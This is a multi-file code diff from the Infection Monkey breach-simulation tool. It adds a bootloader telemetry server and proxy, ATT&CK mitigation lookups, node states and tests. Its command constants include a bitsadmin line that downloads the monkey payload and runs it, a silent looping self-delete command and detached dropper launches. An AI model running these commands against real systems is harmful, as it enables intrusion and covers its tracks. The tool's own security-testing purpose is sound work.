ID_STRING = "M0NK3Y3XPL0ITABLE" ID_STRING = "M0NK3Y3XPL0ITABLE"
DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG,)
MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG,) # CMD prefix for windows commands
CMD_PREFIX = "cmd.exe /c"
DROPPER_CMDLINE_WINDOWS = '%s %%(dropper_path)s %s' % (CMD_PREFIX, DROPPER_ARG,)
MONKEY_CMDLINE_WINDOWS = '%s %%(monkey_path)s %s' % (CMD_PREFIX, MONKEY_ARG,)
MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG,) MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG,)
GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)' GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG,) DROPPER_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(dropper_path)s %s' % (CMD_PREFIX, DROPPER_ARG,)
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG,) MONKEY_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(monkey_path)s %s' % (CMD_PREFIX, MONKEY_ARG,)
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \ MONKEY_CMDLINE_HTTP = '%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \
'/c %%(monkey_path)s %s"' % (MONKEY_ARG,) '/c %%(monkey_path)s %s"' % (CMD_PREFIX, MONKEY_ARG,)
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(' \ DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(' \
'file_path)s exit)) > NUL 2>&1 ' 'file_path)s exit)) > NUL 2>&1 '
@ -25,8 +28,6 @@ CHMOD_MONKEY = "chmod +x %(monkey_path)s"
RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
# Commands used to check for architecture and if machine is exploitable # Commands used to check for architecture and if machine is exploitable
CHECK_COMMAND = "echo %s" % ID_STRING CHECK_COMMAND = "echo %s" % ID_STRING
# CMD prefix for windows commands
CMD_PREFIX = "cmd.exe /c"
# Architecture checking commands # Architecture checking commands
GET_ARCH_WINDOWS = "wmic os get osarchitecture" GET_ARCH_WINDOWS = "wmic os get osarchitecture"
GET_ARCH_LINUX = "lscpu" GET_ARCH_LINUX = "lscpu"

View File

@ -5,7 +5,7 @@ requests
odict odict
paramiko paramiko
psutil psutil
PyInstaller git+https://github.com/guardicore/pyinstaller
ecdsa ecdsa
netifaces netifaces
ipaddress ipaddress

View File

@ -7,9 +7,12 @@ import urllib
from logging import getLogger from logging import getLogger
from urllib.parse import urlsplit from urllib.parse import urlsplit
import requests
import infection_monkey.monkeyfs as monkeyfs import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
from infection_monkey.network.tools import get_interface_to_target from infection_monkey.network.tools import get_interface_to_target
import infection_monkey.control
__author__ = 'hoffer' __author__ = 'hoffer'
@ -108,12 +111,35 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler): class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
timeout = 30 # timeout with clients, set to None not to make persistent connection timeout = 30 # timeout with clients, set to None not to make persistent connection
proxy_via = None # pseudonym of the proxy in Via header, set to None not to modify original Via header proxy_via = None # pseudonym of the proxy in Via header, set to None not to modify original Via header
protocol_version = "HTTP/1.1"
def do_POST(self):
try:
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length).decode()
LOG.info("Received bootloader's request: {}".format(post_data))
try:
dest_path = self.path
r = requests.post(url=dest_path,
data=post_data,
verify=False,
proxies=infection_monkey.control.ControlClient.proxies)
self.send_response(r.status_code)
except requests.exceptions.ConnectionError as e:
LOG.error("Couldn't forward request to the island: {}".format(e))
self.send_response(404)
except Exception as e:
LOG.error("Failed to forward bootloader request: {}".format(e))
finally:
self.end_headers()
self.wfile.write(r.content)
except Exception as e:
LOG.error("Failed receiving bootloader telemetry: {}".format(e))
def version_string(self): def version_string(self):
return "" return ""
def do_CONNECT(self): def do_CONNECT(self):
LOG.info("Received a connect request!")
# just provide a tunnel, transfer the data with no modification # just provide a tunnel, transfer the data with no modification
req = self req = self
req.path = "https://%s/" % req.path.replace(':443', '') req.path = "https://%s/" % req.path.replace(':443', '')

View File

@ -1,4 +1,16 @@
from monkey_island.cc.main import main from monkey_island.cc.main import main
def parse_cli_args():
import argparse
parser = argparse.ArgumentParser(description="Infection Monkey Island CnC Server. See https://infectionmonkey.com")
parser.add_argument("-s", "--setup-only", action="store_true",
help="Pass this flag to cause the Island to setup and exit without actually starting. This is useful "
"for preparing Island to boot faster later-on, so for compiling/packaging Islands.")
args = parser.parse_args()
return args.setup_only
if "__main__" == __name__: if "__main__" == __name__:
main() is_setup_only = parse_cli_args()
main(is_setup_only)

View File

@ -19,6 +19,7 @@ from monkey_island.cc.resources.island_configuration import IslandConfiguration
from monkey_island.cc.resources.monkey_download import MonkeyDownload from monkey_island.cc.resources.monkey_download import MonkeyDownload
from monkey_island.cc.resources.netmap import NetMap from monkey_island.cc.resources.netmap import NetMap
from monkey_island.cc.resources.node import Node from monkey_island.cc.resources.node import Node
from monkey_island.cc.resources.node_states import NodeStates
from monkey_island.cc.resources.remote_run import RemoteRun from monkey_island.cc.resources.remote_run import RemoteRun
from monkey_island.cc.resources.reporting.report import Report from monkey_island.cc.resources.reporting.report import Report
from monkey_island.cc.resources.root import Root from monkey_island.cc.resources.root import Root
@ -30,6 +31,7 @@ from monkey_island.cc.resources.version_update import VersionUpdate
from monkey_island.cc.resources.pba_file_upload import FileUpload from monkey_island.cc.resources.pba_file_upload import FileUpload
from monkey_island.cc.resources.attack.attack_config import AttackConfiguration from monkey_island.cc.resources.attack.attack_config import AttackConfiguration
from monkey_island.cc.resources.attack.attack_report import AttackReport from monkey_island.cc.resources.attack.attack_report import AttackReport
from monkey_island.cc.resources.bootloader import Bootloader
from monkey_island.cc.services.database import Database from monkey_island.cc.services.database import Database
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
from monkey_island.cc.services.representations import output_json from monkey_island.cc.services.representations import output_json
@ -87,6 +89,7 @@ def init_app_url_rules(app):
def init_api_resources(api): def init_api_resources(api):
api.add_resource(Root, '/api') api.add_resource(Root, '/api')
api.add_resource(Monkey, '/api/monkey', '/api/monkey/', '/api/monkey/<string:guid>') api.add_resource(Monkey, '/api/monkey', '/api/monkey/', '/api/monkey/<string:guid>')
api.add_resource(Bootloader, '/api/bootloader/<string:os>')
api.add_resource(LocalRun, '/api/local-monkey', '/api/local-monkey/') api.add_resource(LocalRun, '/api/local-monkey', '/api/local-monkey/')
api.add_resource(ClientRun, '/api/client-monkey', '/api/client-monkey/') api.add_resource(ClientRun, '/api/client-monkey', '/api/client-monkey/')
api.add_resource(Telemetry, '/api/telemetry', '/api/telemetry/', '/api/telemetry/<string:monkey_guid>') api.add_resource(Telemetry, '/api/telemetry', '/api/telemetry/', '/api/telemetry/<string:monkey_guid>')
@ -97,6 +100,7 @@ def init_api_resources(api):
api.add_resource(NetMap, '/api/netmap', '/api/netmap/') api.add_resource(NetMap, '/api/netmap', '/api/netmap/')
api.add_resource(Edge, '/api/netmap/edge', '/api/netmap/edge/') api.add_resource(Edge, '/api/netmap/edge', '/api/netmap/edge/')
api.add_resource(Node, '/api/netmap/node', '/api/netmap/node/') api.add_resource(Node, '/api/netmap/node', '/api/netmap/node/')
api.add_resource(NodeStates, '/api/netmap/nodeStates')
# report_type: zero_trust or security # report_type: zero_trust or security
api.add_resource( api.add_resource(

View File

@ -0,0 +1,49 @@
from http.server import HTTPServer, BaseHTTPRequestHandler
from socketserver import ThreadingMixIn
from urllib import parse
import urllib3
import logging
import requests
import pymongo
from monkey_island.cc.environment import Environment
# Disable "unverified certificate" warnings when sending requests to island
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
logger = logging.getLogger(__name__)
class BootloaderHttpServer(ThreadingMixIn, HTTPServer):
def __init__(self, mongo_url):
self.mongo_client = pymongo.MongoClient(mongo_url)
server_address = ('', 5001)
super().__init__(server_address, BootloaderHTTPRequestHandler)
class BootloaderHTTPRequestHandler(BaseHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length).decode()
island_server_path = BootloaderHTTPRequestHandler.get_bootloader_resource_url(self.request.getsockname()[0])
island_server_path = parse.urljoin(island_server_path, self.path[1:])
r = requests.post(url=island_server_path, data=post_data, verify=False)
try:
if r.status_code != 200:
self.send_response(404)
else:
self.send_response(200)
self.end_headers()
self.wfile.write(r.content)
except Exception as e:
logger.error("Failed to respond to bootloader: {}".format(e))
finally:
self.connection.close()
@staticmethod
def get_bootloader_resource_url(server_ip):
return "https://" + server_ip + ":" + str(Environment._ISLAND_PORT) + "/api/bootloader/"

View File

@ -3,6 +3,7 @@ import os.path
import sys import sys
import time import time
import logging import logging
from threading import Thread
MINIMUM_MONGO_DB_VERSION_REQUIRED = "3.6.0" MINIMUM_MONGO_DB_VERSION_REQUIRED = "3.6.0"
@ -26,9 +27,21 @@ from monkey_island.cc.environment.environment import env
from monkey_island.cc.database import is_db_server_up, get_db_version from monkey_island.cc.database import is_db_server_up, get_db_version
from monkey_island.cc.resources.monkey_download import MonkeyDownload from monkey_island.cc.resources.monkey_download import MonkeyDownload
from common.version import get_version from common.version import get_version
from monkey_island.cc.bootloader_server import BootloaderHttpServer
from monkey_island.cc.setup import setup
def main(): def main(should_setup_only):
logger.info("Starting bootloader server")
mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url())
bootloader_server_thread = Thread(target=BootloaderHttpServer(mongo_url).serve_forever, daemon=True)
bootloader_server_thread.start()
start_island_server(should_setup_only)
bootloader_server_thread.join()
def start_island_server(should_setup_only):
from tornado.wsgi import WSGIContainer from tornado.wsgi import WSGIContainer
from tornado.httpserver import HTTPServer from tornado.httpserver import HTTPServer
from tornado.ioloop import IOLoop from tornado.ioloop import IOLoop
@ -43,6 +56,12 @@ def main():
crt_path = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.crt') crt_path = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.crt')
key_path = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.key') key_path = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.key')
setup()
if should_setup_only:
logger.warning("Setup only flag passed. Exiting.")
return
if env.is_debug(): if env.is_debug():
app.run(host='0.0.0.0', debug=True, ssl_context=(crt_path, key_path)) app.run(host='0.0.0.0', debug=True, ssl_context=(crt_path, key_path))
else: else:

View File

@ -0,0 +1,45 @@
from typing import Dict
from mongoengine import Document, StringField, DoesNotExist, EmbeddedDocumentField, ListField
from monkey_island.cc.models.attack.mitigation import Mitigation
from stix2 import AttackPattern, CourseOfAction
from monkey_island.cc.services.attack.test_mitre_api_interface import MitreApiInterface
class AttackMitigations(Document):
COLLECTION_NAME = "attack_mitigations"
technique_id = StringField(required=True, primary_key=True)
mitigations = ListField(EmbeddedDocumentField('Mitigation'))
@staticmethod
def get_mitigation_by_technique_id(technique_id: str) -> Document:
try:
return AttackMitigations.objects.get(technique_id=technique_id)
except DoesNotExist:
raise Exception("Attack technique with id {} does not exist!".format(technique_id))
def add_mitigation(self, mitigation: CourseOfAction):
mitigation_external_ref_id = MitreApiInterface.get_stix2_external_reference_id(mitigation)
if mitigation_external_ref_id.startswith('M'):
self.mitigations.append(Mitigation.get_from_stix2_data(mitigation))
def add_no_mitigations_info(self, mitigation: CourseOfAction):
mitigation_external_ref_id = MitreApiInterface.get_stix2_external_reference_id(mitigation)
if mitigation_external_ref_id.startswith('T') and len(self.mitigations) == 0:
mitigation_mongo_object = Mitigation.get_from_stix2_data(mitigation)
mitigation_mongo_object['description'] = mitigation_mongo_object['description'].splitlines()[0]
mitigation_mongo_object['url'] = ''
self.mitigations.append(mitigation_mongo_object)
@staticmethod
def mitigations_from_attack_pattern(attack_pattern: AttackPattern):
return AttackMitigations(technique_id=MitreApiInterface.get_stix2_external_reference_id(attack_pattern),
mitigations=[])
@staticmethod
def dict_from_stix2_attack_patterns(stix2_dict: Dict[str, AttackPattern]):
return {key: AttackMitigations.mitigations_from_attack_pattern(attack_pattern)
for key, attack_pattern in stix2_dict.items()}

View File

@ -0,0 +1,19 @@
from mongoengine import StringField, EmbeddedDocument
from stix2 import CourseOfAction
from monkey_island.cc.services.attack.test_mitre_api_interface import MitreApiInterface
class Mitigation(EmbeddedDocument):
name = StringField(required=True)
description = StringField(required=True)
url = StringField()
@staticmethod
def get_from_stix2_data(mitigation: CourseOfAction):
name = mitigation['name']
description = mitigation['description']
url = MitreApiInterface.get_stix2_external_reference_url(mitigation)
return Mitigation(name=name, description=description, url=url)

View File

@ -0,0 +1,38 @@
import json
from typing import Dict
import flask_restful
from flask import request, make_response
from monkey_island.cc.services.bootloader import BootloaderService
class Bootloader(flask_restful.Resource):
# Used by monkey. can't secure.
def post(self, os):
if os == 'linux':
data = Bootloader._get_request_contents_linux(request.data)
elif os == 'windows':
data = Bootloader._get_request_contents_windows(request.data)
else:
return make_response({"status": "OS_NOT_FOUND"}, 404)
result = BootloaderService.parse_bootloader_telem(data)
if result:
return make_response({"status": "RUN"}, 200)
else:
return make_response({"status": "ABORT"}, 200)
@staticmethod
def _get_request_contents_linux(request_data: bytes) -> Dict[str, str]:
parsed_data = json.loads(request_data.decode().replace("\"\n", "")
.replace("\n", "")
.replace("NAME=\"", "")
.replace("\":\",", "\":\"\","))
return parsed_data
@staticmethod
def _get_request_contents_windows(request_data: bytes) -> Dict[str, str]:
return json.loads(request_data.decode("utf-16", "ignore"))

View File

@ -0,0 +1,56 @@
from unittest import TestCase
from monkey_island.cc.resources.bootloader import Bootloader
from monkey_island.cc.services.utils.bootloader_config import SUPPORTED_WINDOWS_VERSIONS
class TestBootloader(TestCase):
def test_get_request_contents_linux(self):
data_without_tunnel = b'{"system":"linux", ' \
b'"os_version":"NAME="Ubuntu"\n", ' \
b'"glibc_version":"ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23\n", ' \
b'"hostname":"test-TEST", ' \
b'"tunnel":false, ' \
b'"ips": ["127.0.0.1", "10.0.2.15", "192.168.56.5"]}'
data_with_tunnel = b'{"system":"linux", ' \
b'"os_version":"NAME="Ubuntu"\n", ' \
b'"glibc_version":"ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23\n", ' \
b'"hostname":"test-TEST", ' \
b'"tunnel":"192.168.56.1:5002", ' \
b'"ips": ["127.0.0.1", "10.0.2.15", "192.168.56.5"]}'
result1 = Bootloader._get_request_contents_linux(data_without_tunnel)
self.assertTrue(result1['system'] == "linux")
self.assertTrue(result1['os_version'] == "Ubuntu")
self.assertTrue(result1['glibc_version'] == "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23")
self.assertTrue(result1['hostname'] == "test-TEST")
self.assertFalse(result1['tunnel'])
self.assertTrue(result1['ips'] == ["127.0.0.1", "10.0.2.15", "192.168.56.5"])
result2 = Bootloader._get_request_contents_linux(data_with_tunnel)
self.assertTrue(result2['system'] == "linux")
self.assertTrue(result2['os_version'] == "Ubuntu")
self.assertTrue(result2['glibc_version'] == "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23")
self.assertTrue(result2['hostname'] == "test-TEST")
self.assertTrue(result2['tunnel'] == "192.168.56.1:5002")
self.assertTrue(result2['ips'] == ["127.0.0.1", "10.0.2.15", "192.168.56.5"])
def test_get_request_contents_windows(self):
windows_data = b'{\x00"\x00s\x00y\x00s\x00t\x00e\x00m\x00"\x00:\x00"\x00w\x00i\x00n\x00d\x00o' \
b'\x00w\x00s\x00"\x00,\x00 \x00"\x00o\x00s\x00_\x00v\x00e\x00r\x00s\x00i\x00o\x00n' \
b'\x00"\x00:\x00"\x00w\x00i\x00n\x00d\x00o\x00w\x00s\x008\x00_\x00o\x00r\x00_\x00g\x00r' \
b'\x00e\x00a\x00t\x00e\x00r\x00"\x00,\x00 \x00"\x00h\x00o\x00s\x00t\x00n\x00a\x00m\x00e\x00"' \
b'\x00:\x00"\x00D\x00E\x00S\x00K\x00T\x00O\x00P\x00-\x00P\x00J\x00H\x00U\x003\x006\x00B\x00"' \
b'\x00,\x00 \x00"\x00t\x00u\x00n\x00n\x00e\x00l\x00"\x00:\x00f\x00a\x00l\x00s\x00e\x00,\x00 ' \
b'\x00"\x00i\x00p\x00s\x00"\x00:\x00 \x00[\x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x005' \
b'\x006\x00.\x001\x00"\x00,\x00 \x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x002\x004\x009' \
b'\x00.\x001\x00"\x00,\x00 \x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x002\x001\x007\x00.' \
b'\x001\x00"\x00]\x00}\x00'
result = Bootloader._get_request_contents_windows(windows_data)
self.assertTrue(result['system'] == "windows")
self.assertTrue(result['os_version'] == "windows8_or_greater")
self.assertTrue(result['hostname'] == "DESKTOP-PJHU36B")
self.assertFalse(result['tunnel'])
self.assertTrue(result['ips'] == ["192.168.56.1", "192.168.249.1", "192.168.217.1"])

View File

@ -0,0 +1,11 @@
from flask import request
import flask_restful
from monkey_island.cc.auth import jwt_required
from monkey_island.cc.services.utils.node_states import NodeStates as NodeStateList
class NodeStates(flask_restful.Resource):
@jwt_required()
def get(self):
return {'node_states': [state.value for state in NodeStateList]}

@ -0,0 +1 @@
Subproject commit c139e37bdc51acbc7d0488a5be48553caffdbbd7

View File

@ -57,7 +57,6 @@ class AttackReportService:
'meta': {'latest_monkey_modifytime': Monkey.get_latest_modifytime()}, 'meta': {'latest_monkey_modifytime': Monkey.get_latest_modifytime()},
'name': REPORT_NAME 'name': REPORT_NAME
} }
for tech_id, tech_info in list(AttackConfig.get_techniques_for_report().items()): for tech_id, tech_info in list(AttackConfig.get_techniques_for_report().items()):
try: try:
technique_report_data = TECHNIQUES[tech_id].get_report_data() technique_report_data = TECHNIQUES[tech_id].get_report_data()

View File

@ -0,0 +1,46 @@
from typing import List, Dict
from stix2 import FileSystemSource, Filter, CourseOfAction, AttackPattern, v20
class MitreApiInterface:
ATTACK_DATA_PATH = 'monkey_island/cc/services/attack/attack_data/enterprise-attack'
@staticmethod
def get_all_mitigations() -> Dict[str, CourseOfAction]:
file_system = FileSystemSource(MitreApiInterface.ATTACK_DATA_PATH)
mitigation_filter = [Filter('type', '=', 'course-of-action')]
all_mitigations = file_system.query(mitigation_filter)
all_mitigations = {mitigation['id']: mitigation for mitigation in all_mitigations}
return all_mitigations
@staticmethod
def get_all_attack_techniques() -> Dict[str, AttackPattern]:
file_system = FileSystemSource(MitreApiInterface.ATTACK_DATA_PATH)
technique_filter = [Filter('type', '=', 'attack-pattern')]
all_techniques = file_system.query(technique_filter)
all_techniques = {technique['id']: technique for technique in all_techniques}
return all_techniques
@staticmethod
def get_technique_and_mitigation_relationships() -> List[CourseOfAction]:
file_system = FileSystemSource(MitreApiInterface.ATTACK_DATA_PATH)
technique_filter = [Filter('type', '=', 'relationship'),
Filter('relationship_type', '=', 'mitigates')]
all_techniques = file_system.query(technique_filter)
return all_techniques
@staticmethod
def get_stix2_external_reference_id(stix2_data: v20._DomainObject) -> str:
for reference in stix2_data['external_references']:
if reference['source_name'] == "mitre-attack" and 'external_id' in reference:
return reference['external_id']
return ''
@staticmethod
def get_stix2_external_reference_url(stix2_data: v20._DomainObject) -> str:
for reference in stix2_data['external_references']:
if 'url' in reference:
return reference['url']
return ''

View File

@ -24,6 +24,7 @@ class T1003(AttackTechnique):
else: else:
status = ScanStatus.UNSCANNED.value status = ScanStatus.UNSCANNED.value
data.update(T1003.get_message_and_status(status)) data.update(T1003.get_message_and_status(status))
data.update(T1003.get_mitigation_by_status(status))
data['stolen_creds'] = ReportService.get_stolen_creds() data['stolen_creds'] = ReportService.get_stolen_creds()
data['stolen_creds'].extend(ReportService.get_ssh_keys()) data['stolen_creds'].extend(ReportService.get_ssh_keys())
return data return data

View File

@ -30,4 +30,5 @@ class T1059(AttackTechnique):
else: else:
status = ScanStatus.UNSCANNED.value status = ScanStatus.UNSCANNED.value
data.update(T1059.get_message_and_status(status)) data.update(T1059.get_message_and_status(status))
data.update(T1059.get_mitigation_by_status(status))
return data return data

View File

@ -40,4 +40,5 @@ class T1075(AttackTechnique):
else: else:
status = ScanStatus.UNSCANNED.value status = ScanStatus.UNSCANNED.value
data.update(T1075.get_message_and_status(status)) data.update(T1075.get_message_and_status(status))
data.update(T1075.get_mitigation_by_status(status))
return data return data

View File

@ -44,5 +44,6 @@ class T1082(AttackTechnique):
status = ScanStatus.USED.value status = ScanStatus.USED.value
else: else:
status = ScanStatus.UNSCANNED.value status = ScanStatus.UNSCANNED.value
data.update(T1082.get_mitigation_by_status(status))
data.update(T1082.get_message_and_status(status)) data.update(T1082.get_message_and_status(status))
return data return data

View File

@ -31,5 +31,7 @@ class T1086(AttackTechnique):
status = ScanStatus.USED.value status = ScanStatus.USED.value
else: else:
status = ScanStatus.UNSCANNED.value status = ScanStatus.UNSCANNED.value
data.update(T1086.get_mitigation_by_status(status))
data.update(T1086.get_message_and_status(status)) data.update(T1086.get_message_and_status(status))
return data return data

View File

@ -23,6 +23,7 @@ class T1210(AttackTechnique):
else: else:
status = ScanStatus.UNSCANNED.value status = ScanStatus.UNSCANNED.value
data.update(T1210.get_message_and_status(status)) data.update(T1210.get_message_and_status(status))
data.update(T1210.get_mitigation_by_status(status))
data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services}) data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services})
return data return data

View File

@ -5,6 +5,7 @@ from monkey_island.cc.database import mongo
from common.utils.attack_utils import ScanStatus from common.utils.attack_utils import ScanStatus
from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.services.attack.attack_config import AttackConfig
from common.utils.code_utils import abstractstatic from common.utils.code_utils import abstractstatic
from cc.models.attack.attack_mitigations import AttackMitigations
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
@ -40,7 +41,7 @@ class AttackTechnique(object, metaclass=abc.ABCMeta):
@abc.abstractmethod @abc.abstractmethod
def tech_id(self): def tech_id(self):
""" """
:return: Message that will be displayed in case of attack technique not being scanned. :return: Id of attack technique. E.g. T1003
""" """
pass pass
@ -111,10 +112,21 @@ class AttackTechnique(object, metaclass=abc.ABCMeta):
data.update({'status': status, data.update({'status': status,
'title': title, 'title': title,
'message': cls.get_message_by_status(status)}) 'message': cls.get_message_by_status(status)})
data.update(cls.get_mitigation_by_status(status))
return data return data
@classmethod @classmethod
def get_base_data_by_status(cls, status): def get_base_data_by_status(cls, status):
data = cls.get_message_and_status(status) data = cls.get_message_and_status(status)
data.update({'title': cls.technique_title()}) data.update({'title': cls.technique_title()})
data.update(cls.get_mitigation_by_status(status))
return data return data
@classmethod
def get_mitigation_by_status(cls, status: ScanStatus) -> dict:
if status == ScanStatus.USED.value:
mitigation_document = AttackMitigations.get_mitigation_by_technique_id(str(cls.tech_id))
return {'mitigations': mitigation_document.to_mongo().to_dict()['mitigations']}
else:
return {}

View File

@ -0,0 +1,15 @@
from unittest import TestCase
from monkey_island.cc.services.attack.mitre_api_interface import MitreApiInterface
class TestMitreApiInterface(TestCase):
def test_get_all_mitigations(self):
mitigations = MitreApiInterface.get_all_mitigations()
self.assertIsNotNone((len(mitigations.items()) >= 282))
mitigation = next(iter(mitigations.values()))
self.assertEqual(mitigation['type'], "course-of-action")
self.assertIsNotNone(mitigation['name'])
self.assertIsNotNone(mitigation['description'])
self.assertIsNotNone(mitigation['external_references'])

View File

@ -0,0 +1,69 @@
from typing import Dict, List
from bson import ObjectId
from monkey_island.cc.database import mongo
from monkey_island.cc.services.node import NodeService, NodeCreationException
from monkey_island.cc.services.utils.node_states import NodeStates
from monkey_island.cc.services.utils.bootloader_config import SUPPORTED_WINDOWS_VERSIONS, MIN_GLIBC_VERSION
class BootloaderService:
@staticmethod
def parse_bootloader_telem(telem: Dict) -> bool:
telem['ips'] = BootloaderService.remove_local_ips(telem['ips'])
if telem['os_version'] == "":
telem['os_version'] = "Unknown OS"
telem_id = BootloaderService.get_mongo_id_for_bootloader_telem(telem)
mongo.db.bootloader_telems.update({'_id': telem_id}, {'$setOnInsert': telem}, upsert=True)
will_monkey_run = BootloaderService.is_os_compatible(telem)
try:
node = NodeService.get_or_create_node_from_bootloader_telem(telem, will_monkey_run)
except NodeCreationException:
# Didn't find the node, but allow monkey to run anyways
return True
node_group = BootloaderService.get_next_node_state(node, telem['system'], will_monkey_run)
if 'group' not in node or node['group'] != node_group.value:
NodeService.set_node_group(node['_id'], node_group)
return will_monkey_run
@staticmethod
def get_next_node_state(node: Dict, system: str, will_monkey_run: bool) -> NodeStates:
group_keywords = [system, 'monkey']
if 'group' in node and node['group'] == 'island':
group_keywords.extend(['island', 'starting'])
else:
group_keywords.append('starting') if will_monkey_run else group_keywords.append('old')
node_group = NodeStates.get_by_keywords(group_keywords)
return node_group
@staticmethod
def get_mongo_id_for_bootloader_telem(bootloader_telem) -> ObjectId:
ip_hash = hex(hash(str(bootloader_telem['ips'])))[3:15]
hostname_hash = hex(hash(bootloader_telem['hostname']))[3:15]
return ObjectId(ip_hash + hostname_hash)
@staticmethod
def is_os_compatible(bootloader_data) -> bool:
if bootloader_data['system'] == 'windows':
return BootloaderService.is_windows_version_supported(bootloader_data['os_version'])
elif bootloader_data['system'] == 'linux':
return BootloaderService.is_glibc_supported(bootloader_data['glibc_version'])
@staticmethod
def is_windows_version_supported(windows_version) -> bool:
return SUPPORTED_WINDOWS_VERSIONS.get(windows_version, True)
@staticmethod
def is_glibc_supported(glibc_version_string) -> bool:
glibc_version_string = glibc_version_string.lower()
glibc_version = glibc_version_string.split(' ')[-1]
return glibc_version >= str(MIN_GLIBC_VERSION) and 'eglibc' not in glibc_version_string
@staticmethod
def remove_local_ips(ip_list) -> List[str]:
return [i for i in ip_list if not i.startswith("127")]

View File

@ -0,0 +1,35 @@
from unittest import TestCase
from monkey_island.cc.services.bootloader import BootloaderService
WINDOWS_VERSIONS = {
"5.0": "Windows 2000",
"5.1": "Windows XP",
"5.2": "Windows XP/server 2003",
"6.0": "Windows Vista/server 2008",
"6.1": "Windows 7/server 2008R2",
"6.2": "Windows 8/server 2012",
"6.3": "Windows 8.1/server 2012R2",
"10.0": "Windows 10/server 2016-2019"
}
MIN_GLIBC_VERSION = 2.14
class TestBootloaderService(TestCase):
def test_is_glibc_supported(self):
str1 = "ldd (Ubuntu EGLIBC 2.15-0ubuntu10) 2.15"
str2 = "ldd (GNU libc) 2.12"
str3 = "ldd (GNU libc) 2.28"
str4 = "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23"
self.assertTrue(not BootloaderService.is_glibc_supported(str1) and
not BootloaderService.is_glibc_supported(str2) and
BootloaderService.is_glibc_supported(str3) and
BootloaderService.is_glibc_supported(str4))
def test_remove_local_ips(self):
ips = ["127.1.1.1", "127.0.0.1", "192.168.56.1"]
ips = BootloaderService.remove_local_ips(ips)
self.assertEqual(["192.168.56.1"], ips)

View File

@ -3,6 +3,7 @@ import logging
from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.services.attack.attack_config import AttackConfig
from monkey_island.cc.services.post_breach_files import remove_PBA_files from monkey_island.cc.services.post_breach_files import remove_PBA_files
from monkey_island.cc.models.attack.attack_mitigations import AttackMitigations
from flask import jsonify from flask import jsonify
from monkey_island.cc.database import mongo from monkey_island.cc.database import mongo
@ -15,14 +16,21 @@ class Database(object):
@staticmethod @staticmethod
def reset_db(): def reset_db():
logger.info('Resetting database')
remove_PBA_files() remove_PBA_files()
# We can't drop system collections. # We can't drop system collections.
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')] [Database.drop_collection(x) for x in mongo.db.collection_names() if not x.startswith('system.')
and not x == AttackMitigations.COLLECTION_NAME]
ConfigService.init_config() ConfigService.init_config()
AttackConfig.reset_config() AttackConfig.reset_config()
logger.info('DB was reset') logger.info('DB was reset')
return jsonify(status='OK') return jsonify(status='OK')
@staticmethod
def drop_collection(collection_name: str):
mongo.db[collection_name].drop()
logger.info("Dropped collection {}".format(collection_name))
@staticmethod @staticmethod
def init_db(): def init_db():
if not mongo.db.collection_names(): if not mongo.db.collection_names():

View File

@ -2,7 +2,7 @@ from bson import ObjectId
from monkey_island.cc.database import mongo from monkey_island.cc.database import mongo
import monkey_island.cc.services.node import monkey_island.cc.services.node
from monkey_island.cc.models import Monkey from monkey_island.cc.models.monkey import Monkey, MonkeyNotFoundError
__author__ = "itay.mizeretz" __author__ = "itay.mizeretz"
@ -145,7 +145,10 @@ class EdgeService:
